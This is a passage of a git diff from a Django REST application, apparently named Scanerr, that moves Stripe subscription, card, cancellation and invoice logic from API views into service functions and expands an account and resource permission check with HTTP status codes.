+        stripe.Customer.modify(
+            account.cust_id,
+            invoice_settings={
+                'default_payment_method': pay_method.id,
+            }
+        )
+
+        # update Stripe Subscription
+        stripe.Subscription.modify(
+            account.sub_id,
+            default_payment_method=pay_method.id
+        )
+        
+        # update `Card` object
+        Card.objects.filter(account=account).update(
+            user = request.user,
+            account = account,
+            pay_method_id = pay_method.id,
+            brand = pay_method.card.brand,
+            exp_year = pay_method.card.exp_year,
+            exp_month = pay_method.card.exp_month,
+            last_four = pay_method.card.last4
+        )
+
+    else:
+        # update Stripe Subscription with 
+        # new payment method
+        stripe.Subscription.modify(
+            account.sub_id,
+            default_payment_method=pay_method_id
+        )
+
+        # create new `Card` object
+        Card.objects.create(
+            user = request.user,
+            account = account,
+            pay_method_id = pay_method.id,
+            brand = pay_method.card.brand,
+            exp_year = pay_method.card.exp_year,
+            exp_month = pay_method.card.exp_month,
+            last_four = pay_method.card.last4
+        )
+
+    # update account activation
+    account.active = True
+    account.save()
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AccountSerializer(account, context=serializer_context)
+    data = serialized.data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_billing_info(request: object) -> object: 
+    """ 
+    Gets the `Card`, `Account`, and slack info associated
+    with the passed "user".
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Account.objects.get(user=user)
+
+    # set default
+    card = None
+        
+    # get `Card` info if exists
+    if Card.objects.filter(user=user).exists():
+        _card = Card.objects.get(user=user)
+        card = {
+            'brand': _card.brand,
+            'exp_year': _card.exp_year,
+            'exp_month': _card.exp_month,
+            'last_four': _card.last_four,
+        }
+
+    # format billing info
+    data = {
+        'card': card,
+        'plan': {
+            'name': account.type,
+            'active': account.active,
+            'price_amount': account.price_amount,
+            'interval': account.interval,
+            'max_sites': account.max_sites,
+            'max_pages': account.max_pages,
+            'max_schedules': account.max_schedules,
+            'retention_days': account.retention_days,
+            'testcases': account.testcases,
+            'slack': {
+                'slack_name': account.slack['slack_name'], 
+                'bot_user_id': account.slack['bot_user_id'], 
+                'slack_team_id': account.slack['slack_team_id'], 
+                'bot_access_token': account.slack['bot_access_token'], 
+                'slack_channel_id': account.slack['slack_channel_id'], 
+                'slack_channel_name': account.slack['slack_channel_name'],
+            }
+        },
+    }
+    
+    # return data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def account_activation(request: object) -> object: 
+    """ 
+    Pauses or Activates the `Account` and billing 
+    for the associated Stripe Subscription.
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    
+    Returns -> `Account` HTTP Response object
+    """
+
+    # get user's Account
+    account = Account.objects.get(user=request.user)
+    
+    # setting default
+    active = None
+
+    # pause billing  & `Account`
+    if account.active == True:
+        stripe.Subscription.modify(
+            account.sub_id,
+            pause_collection={
+                'behavior': 'mark_uncollectible',
+                },
+        )
+        active = False
+
+    # activate billing & `Account`
+    else:
+        stripe.Subscription.modify(
+            account.sub_id,
+            pause_collection='',
+        )
+        active = True
+
+    # save updates
+    account.active = active
+    account.save()
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AccountSerializer(account, context=serializer_context)
+    data = serialized.data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+def cancel_subscription(request: object) -> object:
+    """ 
+    Cancels the Stripe Subscription associated with the
+    passed "user" and reverts the `Account` to a "free" plan
+    
+    Expects: {
+        'request': object
+    }
+
+    Returns -> `Account` HTTP Response object
+    """
+
+    # get user's account
+    account = Account.objects.get(user=request.user)
+
+    # update billing if accout is active
+    if account.active == True:
+
+        # pause Stripe Subscription billing
+        stripe.Subscription.modify(
+            account.sub_id,
+            pause_collection={
+                'behavior': 'mark_uncollectible',
+            },
+        )
+
+        # update Account plan
+        account.type = 'free'
+        account.max_sites = 1
+        account.max_schedules = 0
+        account.max_pages = 1
+        account.retention_days = '3'
+        account.interval = 'month'
+        account.price_amount = 0
+        account.testcases = False
+
+        # save Account
+        account.save()
+    
+    # remove sites
+    sites = Site.objects.filter(account=account)
+    for site in sites:
+        delete_site(request=request, id=site.id)
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AccountSerializer(account, context=serializer_context)
+    data = serialized.data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_stripe_invoices(request: object) -> object:
+    """ 
+    Gets a list of Stripe Invoice objects associated with the 
+    passed "user" `Account`
+    
+    Expects: {
+        'request': object
+    }
+
+    Returns -> data: {
+        'has_more': <bool> true if more than 10
+        'data': <list> of invoice objects
+    }
+    """
+
+    # get user's account
+    account = Account.objects.get(user=request.user)
+
+    # setting defaults
+    data = {"message": "no Account found"}
+    i_list = []
+    
+    # check that Account has a Stripe Customer
+    if account.cust_id is not None:
+
+        # retrieve Stripe Invoices
+        invoice_body = stripe.Invoice.list(
+            customer=account.cust_id,
+        )
+        
+        # build list of Stripe Invice objects
+        for invoice in invoice_body.data:
+            i_list.append({
+                'id': invoice.id,
+                'status': invoice.status,
+                'price_amount': invoice.amount_paid,
+                'created': invoice.created
+            })
+        
+        # format response
+        data = {
+            'has_more': invoice_body.has_more,
+            'data': i_list
+        }
+    
+    # return response
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py
index 00933aa8..7b266d46 100644
--- a/app/api/v1/billing/urls.py
+++ b/app/api/v1/billing/urls.py
@@ -4,11 +4,9 @@
 
 
 
+
+
 urlpatterns = [
-    path('create-customer', views.CreateCustomer.as_view(), name='create_customer'),
-    path('create-product', views.CreateProduct.as_view(), name='create_product'),
-    path('create-price', views.CreatePrice.as_view(), name='create_price'),
-    path('create-subscription', views.CreateSubscription.as_view(), name='create_subscription'),
     path('setup-subscription', views.SetupSubscription.as_view(), name='setup_subscription'),
     path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'),
     path('cancel-subscription', views.CancelSubscription.as_view(), name='cancel_subscription'),
@@ -16,5 +14,4 @@
     path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'),
     path('get-invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
     path('account-activation', views.AccountActivation.as_view(), name='account_activation')
-
 ]
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 63ab7057..dfbe9eaf 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -1,241 +1,33 @@
 from rest_framework.response import Response
-from rest_framework.permissions import IsAuthenticated, IsAuthenticated
+from rest_framework.permissions import IsAuthenticated
 from rest_framework.views import APIView
 from rest_framework import status
-from django.contrib.auth.models import User
-from django.core import serializers
-from django.forms.models import model_to_dict
-from ...models import Account, Card, Site
-from ..ops.services import delete_site
-from ..auth.services import create_or_update_account
-from datetime import timedelta, datetime
-from scanerr import settings
-import os, stripe, json 
+from .services import *
+from scanerr import settings 
 
 
 
 
-class StripeKey(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        key = settings.STRIPE_PUBLIC
-        data = {'key': key,}
-        return Response(data, status=status.HTTP_200_OK)
-
-
-
-
-class CreateCustomer(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        customer = stripe.Customer.create(email=request.user.email)
-        
-        account = Account.objects.create(
-            user=request.user, 
-            cust_id=customer.id
-        )
-
-        data = customer.__dict__
-        
-        return Response(data, status=status.HTTP_200_OK)
-
-
-
-class CreateProduct(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        name = request.data['name']
-        stripe.api_key = settings.STRIPE_PRIVATE
-        product = stripe.Product.create(name=name)
-        
-        account = Account.objects.get(user=request.user)
-        account.product_id = product.id
-        account.save()
-           
-        data = product.__dict__
-        
-        return Response(data, status=status.HTTP_200_OK)
-
-
-
-class CreatePrice(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):  
-        account = Account.objects.get(user=request.user)
-        price_amount = float(request.data['price_amount'])
-        stripe.api_key = settings.STRIPE_PRIVATE
-        price = stripe.Price.create(
-            product=account.product_id,
-            unit_amount=price_amount,
-            currency='usd',
-            recurring={
-                'interval': 'month',
-                'trial_period_days': 7,
-            },
-        )
-        
-        account.price_id = price.id
-        account.save()
-
-        data = price.__dict__
-        
-        return Response(data, status=status.HTTP_200_OK)
-
 
 
-class CreateSubscription(APIView):
+class StripeKey(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
-    def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        account = Account.objects.get(user=request.user)
-        subscription = stripe.Subscription.create(
-            customer=account.cust_id,
-            items=[{
-                'price': account.price_id,
-            }],
-            payment_behavior='default_incomplete',
-            expand=['latest_invoice.payment_intent'],
-        )
-        
-        account.sub_id = subscription.id
-        account.save()
-        data = {
-            'subscription_id' : subscription.id,
-            'client_secret' : subscription.latest_invoice.payment_intent.client_secret
-        }
-        
+    def post(self, request):
+        data = {'key': settings.STRIPE_PUBLIC,}
         return Response(data, status=status.HTTP_200_OK)
 
 
 
 
-
 class SetupSubscription(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        user = request.user
-        name = request.data.get('name')
-        interval = request.data.get('interval') # month or year
-        product_name = str(user.email + '_' + str(user.id) + '_' + name)
-        price_amount = int(request.data.get('price_amount'))
-        max_sites = int(request.data.get('max_sites'))
-        max_pages = int(request.data.get('max_pages'))
-        max_schedules = int(request.data.get('max_schedules'))
-        retention_days = int(request.data.get('retention_days'))
-        testcases = str(request.data.get('testcases', False))
-        meta = request.data.get('meta')
-        initial_call = True
-        client_secret = None
-
-        if str(testcases).lower() == 'true':
-            testcases = True
-        if str(testcases).lower() == 'false':
-            testcases = False
-
-        if not Account.objects.filter(user=user).exists():
-            create_or_update_account(
-                user=user,
-                type=name,
-                interval=interval,
-                max_sites=max_sites,
-                max_pages=max_pages,
-                max_schedules=max_schedules,
-                retention_days=retention_days,
-                testcases=testcases, 
-                meta=meta
-            )
-
-        account = Account.objects.get(user=user)
-        
-        if account.cust_id is None:
-            product = stripe.Product.create(name=product_name)
-            customer = stripe.Customer.create(
-                email=request.user.email,
-                name=f'{user.first_name} {user.last_name}'
-            )
-
-        if account.cust_id is not None:
-            initial_call = False
-            product = stripe.Product.modify(account.product_id, name=product_name)
-            customer = stripe.Customer.retrieve(account.cust_id)
-
-        price = stripe.Price.create(
-            product=product.id,
-            unit_amount=price_amount,
-            currency='usd',
-            recurring={'interval': interval,},
-        )
-
-        if account.sub_id is None:
-            subscription = stripe.Subscription.create(
-                customer=customer.id,
-                items=[{
-                    'price': price.id,
-                }],
-                payment_behavior='default_incomplete',
-                expand=['latest_invoice.payment_intent'],
-                # trial_period_days=7,
-            )
-
-        if account.sub_id is not None:
-            sub = stripe.Subscription.retrieve(account.sub_id)
-            subscription = stripe.Subscription.modify(
-                sub.id,
-                cancel_at_period_end=False,
-                proration_behavior='create_prorations',
-                items=[{
-                    'id': sub['items']['data'][0].id,
-                    'price': price.id,
-                }],
-                expand=['latest_invoice.payment_intent'],
-            )
-        
-            # updating price defaults and archiving old price
-            stripe.Product.modify(product.id, default_price=price,)
-            stripe.Price.modify(account.price_id, active=False)
-
-
-        Account.objects.filter(user=user).update(
-            type = name,
-            cust_id = customer.id,
-            sub_id = subscription.id,
-            product_id = product.id,
-            price_id = price.id,
-            interval = interval,
-            max_sites = max_sites,
-            max_pages = max_pages,
-            price_amount = price_amount,
-            max_schedules = max_schedules,
-            retention_days = retention_days,
-            testcases = testcases,
-            meta = meta
-        )        
-
-        if initial_call:
-            client_secret = subscription.latest_invoice.payment_intent.client_secret
-        
-        data = {
-            'subscription_id' : subscription.id,
-            'client_secret' : client_secret,
-        }
-
-        return Response(data, status=status.HTTP_200_OK)
-
-
+        response = stripe_setup(request)
+        return response
 
 
 
@@ -245,95 +37,8 @@ class CompleteSubscription(APIView):
     http_method_names = ['post',]
 
     def post(self, request):  
-        stripe.api_key = settings.STRIPE_PRIVATE
-        account = Account.objects.get(user=request.user)
-        pay_method_id = request.data['payment_method']
-        if Card.objects.filter(account=account).exists():
-            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
-
-            stripe.PaymentMethod.attach(
-                pay_method_id,
-                customer=account.cust_id,
-            )
-
-            stripe.Customer.modify(
-                account.cust_id,
-                invoice_settings={
-                    'default_payment_method': pay_method.id,
-                }
-            )
-
-            stripe.Subscription.modify(
-                account.sub_id,
-                default_payment_method=pay_method.id
-            )
-            
-            Card.objects.filter(account=account).update(
-                user = request.user,
-                account = account,
-                pay_method_id = pay_method.id,
-                brand = pay_method.card.brand,
-                exp_year = pay_method.card.exp_year,
-                exp_month = pay_method.card.exp_month,
-                last_four = pay_method.card.last4
-            )
-
-        else:
-            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
-
-            stripe.Subscription.modify(
-                account.sub_id,
-                default_payment_method=pay_method.id
-            )
-
-            Card.objects.create(
-                user = request.user,
-                account = account,
-                pay_method_id = pay_method.id,
-                brand = pay_method.card.brand,
-                exp_year = pay_method.card.exp_year,
-                exp_month = pay_method.card.exp_month,
-                last_four = pay_method.card.last4
-                
-            )
-        
-
-        card = Card.objects.get(account=account)
-        account.active = True
-        account.save()
-
-        data = {
-            'card': {
-                'brand': card.brand,
-                'exp_year': card.exp_year,
-                'exp_month': card.exp_month,
-                'last_four': card.last_four,
-            },
-            'plan': {
-                'name': account.type,
-                'active': account.active,
-                'price_amount': account.price_amount,
-                'interval': account.interval,
-                'max_sites': account.max_sites,
-                'max_pages': account.max_pages,
-                'max_schedules': account.max_schedules,
-                'retention_days': account.retention_days,
-                'testcases': account.testcases,
-                'slack': {
-                    'slack_name': account.slack['slack_name'], 
-                    'bot_user_id': account.slack['bot_user_id'], 
-                    'slack_team_id': account.slack['slack_team_id'], 
-                    'bot_access_token': account.slack['bot_access_token'], 
-                    'slack_channel_id': account.slack['slack_channel_id'], 
-                    'slack_channel_name': account.slack['slack_channel_name'],
-                }
-            },
-        }
-
-
-        return Response(data, status=status.HTTP_200_OK)
-
-
+        response = stripe_complete(request)
+        return response
 
 
 
@@ -343,47 +48,8 @@ class GetBillingInfo(APIView):
     http_method_names = ['post',]
 
     def post(self, request):  
-        user = request.user
-        if Account.objects.filter(user=user).exists():
-            account = Account.objects.get(user=user)
-            card = None
-            
-            if Card.objects.filter(user=user).exists():
-                _card = Card.objects.get(user=user)
-                card = {
-                    'brand': _card.brand,
-                    'exp_year': _card.exp_year,
-                    'exp_month': _card.exp_month,
-                    'last_four': _card.last_four,
-                }
-
-            data = {
-                'card': card,
-                'plan': {
-                    'name': account.type,
-                    'active': account.active,
-                    'price_amount': account.price_amount,
-                    'interval': account.interval,
-                    'max_sites': account.max_sites,
-                    'max_pages': account.max_pages,
-                    'max_schedules': account.max_schedules,
-                    'retention_days': account.retention_days,
-                    'testcases': account.testcases,
-                    'slack': {
-                        'slack_name': account.slack['slack_name'], 
-                        'bot_user_id': account.slack['bot_user_id'], 
-                        'slack_team_id': account.slack['slack_team_id'], 
-                        'bot_access_token': account.slack['bot_access_token'], 
-                        'slack_channel_id': account.slack['slack_channel_id'], 
-                        'slack_channel_name': account.slack['slack_channel_name'],
-                    }
-                },
-            }
-
-            return Response(data, status=status.HTTP_200_OK)
-
-        else:
-            return Response(status=status.HTTP_404_NOT_FOUND)
+        response = get_billing_info(request)
+        return response
 
 
 
@@ -393,61 +59,9 @@ class AccountActivation(APIView):
     https_method_names = ['post',]
 
     def post(self, request):
-        account = Account.objects.get(user=request.user)
-        stripe.api_key = settings.STRIPE_PRIVATE
-
-        if account.active == True:
-            stripe.Subscription.modify(
-                account.sub_id,
-                pause_collection={
-                    'behavior': 'mark_uncollectible',
-                    },
-            )
-            account.active = False
-            account.save()
-        else:
-            stripe.Subscription.modify(
-                account.sub_id,
-                pause_collection='',
-            )
-            account.active = True
-            account.save()
-
+        response = account_activation(request)
+        return response
         
-        card = Card.objects.get(account=account)
-
-        data = {
-                'card': {
-                    'brand': card.brand,
-                    'exp_year': card.exp_year,
-                    'exp_month': card.exp_month,
-                    'last_four': card.last_four,
-                },
-                'plan': {
-                    'name': account.type,
-                    'active': account.active,
-                    'price_amount': account.price_amount,
-                    'interval': account.interval,
-                    'max_sites': account.max_sites,
-                    'max_pages': account.max_pages,
-                    'max_schedules': account.max_schedules,
-                    'retention_days': account.retention_days,
-                    'testcases': account.testcases,
-                    'slack': {
-                        'slack_name': account.slack['slack_name'], 
-                        'bot_user_id': account.slack['bot_user_id'], 
-                        'slack_team_id': account.slack['slack_team_id'], 
-                        'bot_access_token': account.slack['bot_access_token'], 
-                        'slack_channel_id': account.slack['slack_channel_id'], 
-                        'slack_channel_name': account.slack['slack_channel_name'],
-                    }
-                },
-            }
-
-        return Response(data, status=status.HTTP_200_OK)
-        
-
-
 
 
 
@@ -456,67 +70,9 @@ class CancelSubscription(APIView):
     https_method_names = ['post',]
 
     def post(self, request):
-        account = Account.objects.get(user=request.user)
-        stripe.api_key = settings.STRIPE_PRIVATE
-
-        if account.active == True:
-            stripe.Subscription.modify(
-                account.sub_id,
-                pause_collection={
-                    'behavior': 'mark_uncollectible',
-                    },
-            )
-            account.type = 'free'
-            account.max_sites = 1
-            account.max_schedules = 0
-            account.max_pages = 1
-            account.retention_days = '3'
-            account.interval = 'month'
-            account.price_amount = 0
-            account.testcases = False
-            account.save()
+        response = cancel_subscription(request)
+        return response
         
-        # remove sites
-        sites = Site.objects.filter(account=account)
-        # site_count = len(sites)
-        for site in sites:
-            delete_site(request=request, id=site.id)
-
-        card = Card.objects.get(account=account)
-
-        data = {
-                'card': {
-                    'brand': card.brand,
-                    'exp_year': card.exp_year,
-                    'exp_month': card.exp_month,
-                    'last_four': card.last_four,
-                },
-                'plan': {
-                    'name': account.type,
-                    'active': account.active,
-                    'price_amount': account.price_amount,
-                    'interval': account.interval,
-                    'max_sites': account.max_sites,
-                    'max_pages': account.max_pages,
-                    'max_schedules': account.max_schedules,
-                    'retention_days': account.retention_days,
-                    'testcases': account.testcases,
-                    'slack': {
-                        'slack_name': account.slack['slack_name'], 
-                        'bot_user_id': account.slack['bot_user_id'], 
-                        'slack_team_id': account.slack['slack_team_id'], 
-                        'bot_access_token': account.slack['bot_access_token'], 
-                        'slack_channel_id': account.slack['slack_channel_id'], 
-                        'slack_channel_name': account.slack['slack_channel_name'],
-                    }
-                },
-            }
-
-        return Response(data, status=status.HTTP_200_OK)
-        
-
-
-
 
 
 
@@ -525,28 +81,8 @@ class StripeInvoice(APIView):
     https_method_names = ['get',]
 
     def get(self, request):
-        account = Account.objects.get(user=request.user)
-        stripe.api_key = settings.STRIPE_PRIVATE
-
-        data = {"message": "no Account found"}
-        if account.cust_id is not None:
-            invoice_body = stripe.Invoice.list(
-                customer=account.cust_id,
-            )
-            
-            i_list = []
-            for invoice in invoice_body.data:
-                obj = {
-                    'id': invoice.id,
-                    'status': invoice.status,
-                    'price_amount': invoice.amount_paid,
-                    'created': invoice.created
-                }
-                i_list.append(obj)
-            data = {
-                'has_more': invoice_body.has_more,
-                'data': i_list
-            }
+        response = get_stripe_invoices(request)
+        return response
+
 
-        return Response(data, status=status.HTTP_200_OK)
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 406cc075..e1b7cad1 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -2,6 +2,11 @@
 from rest_framework import serializers
 from rest_framework.fields import UUIDField
 
+
+
+
+
+
 kwargs = {
     'allow_null': False, 
     'read_only': True, 
@@ -10,6 +15,7 @@
 
 
 
+
 class LogSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -22,6 +28,7 @@ class Meta:
 
 
 
+
 class ProcessSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs)
@@ -34,6 +41,7 @@ class Meta:
 
 
 
+
 class SiteSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -46,6 +54,8 @@ class Meta:
         ]
 
 
+
+
 class PageSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -59,6 +69,8 @@ class Meta:
         ]
 
 
+
+
 class ScanSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs)
     page = serializers.PrimaryKeyRelatedField(source='page.id',**kwargs)
@@ -73,6 +85,8 @@ class Meta:
         ]
 
 
+
+
 class SmallScanSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs)
     page = serializers.PrimaryKeyRelatedField(source='page.id',**kwargs)
@@ -93,6 +107,8 @@ class Meta:
         'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags',
         ]
 
+
+
         
 class TestSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
@@ -110,6 +126,8 @@ class Meta:
         ]
 
 
+
+
 class SmallTestSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
     page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs)
@@ -125,6 +143,8 @@ class Meta:
         ]
 
 
+
+
 class ScheduleSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(**kwargs)
     user = serializers.ReadOnlyField(source='user.username')
@@ -141,6 +161,7 @@ class Meta:
 
 
 
+
 class AutomationSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     schedule = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -158,13 +179,14 @@ class Meta:
 
 class ReportSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
+    page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
     user = serializers.ReadOnlyField(source='user.username')
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
 
     class Meta:
         model = Report
-        fields = ['id', 'site', 'user', 'time_created', 'type',
+        fields = ['id', 'site', 'page', 'user', 'time_created', 'type',
         'path', 'info', 'account',
         ]
 
@@ -185,6 +207,7 @@ class Meta:
 
 
 
+
 class TestcaseSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
@@ -199,6 +222,8 @@ class Meta:
         ]
 
 
+
+
 class SmallTestcaseSerializer(serializers.HyperlinkedModelSerializer):
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
@@ -210,4 +235,9 @@ class Meta:
         model = Testcase
         fields = ['id', 'site', 'user', 'time_created', 'time_completed',
         'case', 'case_name', 'passed', 'configs', 'account',
-        ]
\ No newline at end of file
+        ]
+
+
+
+
+        
\ No newline at end of file
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index adb057df..9c11f3bb 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,4 +1,3 @@
-import json, boto3, asyncio, os, requests
 from datetime import datetime
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
@@ -13,31 +12,49 @@
 from rest_framework.pagination import LimitOffsetPagination
 from ...utils.scanner import Scanner as S
 from ...utils.tester import Tester as T
-from ...utils.image import Image as I
+from ...utils.imager import Imager as I
 from ...utils.reporter import Reporter as R
 from ...utils.wordpress import Wordpress as W
 from ...utils.wordpress_p import Wordpress as W_P
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
+import json, boto3, asyncio, os, requests
 
 
 
 
 
-def record_api_call(request, data, status):
 
+def record_api_call(request: object, data: dict, status: str) -> None:
+    """ 
+    Records an request and resposne if 
+    the request was sent with Token auth. 
+    Creates a `Log` with the recorded info
+
+    Expects: {
+        request : object, 
+        data    : dict, 
+        status  : str
+    }
+    
+    Returns -> None
+    """
+    
+    # get auth type
     auth = request.headers.get('Authorization')
+
+    # check if Token auth
     if auth.startswith('Token'):
 
+        # getting the request data
         if request.method == 'POST':
             request_data = request.data
-
         elif request.method == 'GET':
             request_data = request.query_params
-
         elif request.method == 'DELETE':
             request_data = request.query_params
 
+        # recording info 
         log = Log.objects.create(
             user=request.user,
             path=request.path,
@@ -46,17 +63,60 @@ def record_api_call(request, data, status):
             request_payload=request_data,
             response_payload=data
         )
-    
-    return
+
+    return None
 
 
 
-def check_account(request=None, user=None, resource=None, site_id=None):
+
+def check_account_and_resource(
+        request: object=None, 
+        user: object=None, 
+        resource: str=None, 
+        action: str=None,
+        **kwargs
+    ) -> dict:
+    """ 
+    Based on the passed "resource" & kwargs, checks to see 
+    if account is allowed to add/get a "resource".
+
+    Expects: {
+        'request'   : object, 
+        'user'      : object, 
+        'resource'  : str, 
+        **kwargs    : dict
+    }
+    
+    Returns -> data: {
+        'allowed'   : bool,
+        'error'     : str,
+        'status'    : object 
+        'code'      : str
+    }
+    """
     
+    # setting defaults
     allowed = True
     error = None
     member = None
-
+    _status = status.HTTP_402_PAYMENT_REQUIRED
+    code = '402'
+
+    # checking for kwargs
+    site_id = kwargs.get('site_id')
+    site_url = kwargs.get('site_url')
+    page_id = kwargs.get('page_id')
+    page_url = kwargs.get('page_url')
+    test_id = kwargs.get('test_id')
+    scan_id = kwargs.get('scan_id')
+    case_id = kwargs.get('case_id')
+    testcase_id = kwargs.get('testcase_id')
+    schedule_id = kwargs.get('schedule_id')
+    automation_id = kwargs.get('automation_id')
+    process_id = kwargs.get('process_id')
+    report_id = kwargs.get('report_id')
+
+    # retrieving account
     if request is not None:
         user = request.user
     if Member.objects.filter(user=user).exists():
@@ -68,225 +128,418 @@ def check_account(request=None, user=None, resource=None, site_id=None):
     else:
         allowed = False
         error = 'no account assocation'
+        _status = status.HTTP_401_UNAUTHORIZED
+        code = '401'
     
     # returning early bc account 
     # is not funded or not associated
     if not allowed:
         data = {
             'allowed': allowed,
-            'error': error 
+            'error': error, 
+            'status': _status,
+            'code': code
         }
         return data
 
     # checking resource limit
     if resource is not None:
+        
         # checking pages
         if resource == 'page':
-            current_page_count = Page.objects.filter(account=account, site__id=site_id).count()
-            if current_page_count >= account.max_pages:
-                allowed = False
-                error = 'max pages reached, please upgrade'
+            if not page_id:
+                if site_id:
+                    if not Site.objects.filter(id=site_id, account=account).exists():
+                        allowed = False
+                        error = 'site not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+                    else:
+                        current_count = Page.objects.filter(account=account, site__id=site_id).count()
+                        if current_count >= account.max_pages and action == 'add':
+                            allowed = False
+                            error = 'max pages reached, please upgrade'
+                            _status = status.HTTP_402_PAYMENT_REQUIRED
+                            code = '402'
+            if page_id:
+                if not Page.objects.filter(id=page_id, account=account).exists():
+                    allowed = False
+                    error = 'page not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if page_url:
+                if not Page.objects.filter(page_url=page_url, account=account).exists():
+                    allowed = False
+                    error = 'page already exists'
+                    _status = status.HTTP_409_CONFLICT
+                    code = '409'
+        
         # checking sites
         if resource == 'site':
-            current_site_count = Site.objects.filter(account=account).count()
-            if current_site_count >= account.max_sites:
-                allowed = False
-                error = 'max sites reached, please upgrade'
+            if not site_id:
+                current_count = Site.objects.filter(account=account).count()
+                if current_count >= account.max_sites and action == 'add':
+                    allowed = False
+                    error = 'max sites reached, please upgrade'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
+            if site_id:
+                if not Site.objects.filter(id=site_id, account=account).exists():
+                    allowed = False
+                    error = 'site not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if site_url:
+                if not Site.objects.filter(site_url=site_url, account=account).exists():
+                    allowed = False
+                    error = 'site already exists'
+                    _status = status.HTTP_409_CONFLICT
+                    code = '409'
+        
         # checking schedules
         if resource == 'schedule':
-            current_site_count = Schedule.objects.filter(account=account).count()
-            if current_site_count >= account.max_schedules:
-                allowed = False
-                error = 'max schedules reached, please upgrade'
+            if not schedule_id:
+                current_count = Schedule.objects.filter(account=account).count()
+                if current_count >= account.max_schedules and action == 'add':
+                    allowed = False
+                    error = 'max schedules reached, please upgrade'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
+                if page_id:
+                    if not Page.objects.filter(id=page_id, account=account).exists():
+                        allowed = False
+                        error = 'page not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+                if site_id:
+                    if not Site.objects.filter(id=site_id, account=account).exists():
+                        allowed = False
+                        error = 'site not found'
+                        _status = status.HTTP_404_NOT_FOUND
+                        code = '404'
+            if schedule_id:
+                if not Schedule.objects.filter(id=schedule_id, account=account).exists():
+                    allowed = False
+                    error = 'schedule not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+                if page_id:
+                    if not Page.objects.filter(id=page_id, account=account).exists():
+                        allowed = False
+                        error = 'page not found'
+                        _status = status.HTTP_404_NOT_FOUND
